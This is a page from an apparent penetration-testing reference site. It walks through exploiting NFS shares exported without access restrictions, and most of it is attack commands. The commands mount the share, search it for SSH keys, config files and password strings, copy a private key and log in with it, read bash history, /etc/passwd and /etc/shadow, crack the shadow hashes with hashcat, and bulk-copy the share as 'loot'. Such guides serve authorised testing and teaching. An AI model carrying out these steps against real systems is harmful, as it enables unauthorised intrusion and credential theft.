Skip to content
HackIndex logo

HackIndex

NFS World-Readable Share – File and Credential Extraction

3 min read May 15, 2026

NFS shares exported with no access restrictions — *(rw), *(ro), or no client filter — can be mounted by anyone on the network without authentication. Mounting the share and reading its contents is direct exploitation. The value depends on what is on the share: SSH keys, configuration files, credentials, database dumps, scripts, and backup files are all common findings that lead to further access.

Mounting the Share

Install NFS client tools if not present:

┌──(kali㉿kali)-[~]
└─$ sudo apt install nfs-common -y

Create a mount point and mount the share:

┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/nfs
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs $TARGET_IP:/$SHARE /mnt/nfs -o nolock

-o nolock disables NFS file locking, which avoids connection issues on older servers. Browse the share:

┌──(kali㉿kali)-[~]
└─$ ls -la /mnt/nfs

For NFSv3 explicitly:

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs -o vers=3,nolock $TARGET_IP:/$SHARE /mnt/nfs

For NFSv4:

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs4 $TARGET_IP:/$SHARE /mnt/nfs

Get a full picture of everything accessible before downloading:

┌──(kali㉿kali)-[~]
└─$ find /mnt/nfs -type f 2>/dev/null

Search immediately for high-value files:

┌──(kali㉿kali)-[~]
└─$ find /mnt/nfs -name "*.key" -o -name "*.pem" -o -name "id_rsa" -o -name "*.conf" -o -name "*.config" -o -name "*.bak" -o -name "*.sql" -o -name "*.db" 2>/dev/null

Search for files containing password strings:

┌──(kali㉿kali)-[~]
└─$ grep -r "password\|passwd\|secret\|credential" /mnt/nfs --include="*.conf" --include="*.txt" --include="*.ini" --include="*.cfg" -l 2>/dev/null

SSH Key Extraction

SSH private keys on an NFS share give direct access to any host where the corresponding public key is authorised. Look for them explicitly:

┌──(kali㉿kali)-[~]
└─$ find /mnt/nfs -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null

Copy any key found, fix permissions, and use immediately:

┌──(kali㉿kali)-[~]
└─$ cp /mnt/nfs/home/$USER/.ssh/id_rsa /tmp/stolen_key
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/stolen_key
┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/stolen_key $USER@$TARGET_IP

Also check .ssh/authorized_keys to understand which hosts trust the key.

Home Directory Access

If a user's home directory is exported, the entire contents are accessible. Check for:

┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/home/$USER/.bash_history
┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/home/$USER/.bashrc
┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/home/$USER/.profile
┌──(kali㉿kali)-[~]
└─$ ls -la /mnt/nfs/home/$USER/.ssh/

.bash_history frequently contains commands with credentials typed inline — SSH passwords, database connections, API keys passed as arguments.

/etc Export – Credential Files

If /etc or a backup of it is exported:

┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/etc/passwd
┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/etc/shadow
┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/etc/crontab

Copy /etc/shadow for offline cracking:

┌──(kali㉿kali)-[~]
└─$ cp /mnt/nfs/etc/shadow /tmp/shadow
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1800 /tmp/shadow /usr/share/wordlists/rockyou.txt

Bulk Copy for Offline Analysis

When the share is large or connection is unstable, copy everything locally for offline analysis:

┌──(kali㉿kali)-[~]
└─$ cp -r /mnt/nfs /tmp/nfs-loot

Then unmount cleanly:

┌──(kali㉿kali)-[~]
└─$ sudo umount /mnt/nfs

Accessing Restricted Files via UID Matching

If you can see files on the share but cannot read them due to Unix permissions, see https://hackindex.io/services/nfs/exploitation/uid-spoofing — NFS trusts UIDs from the client and you can create a local user with a matching UID to gain read access without root.

To confirm open exports before extracting files, see NFS World-Readable Exports.

References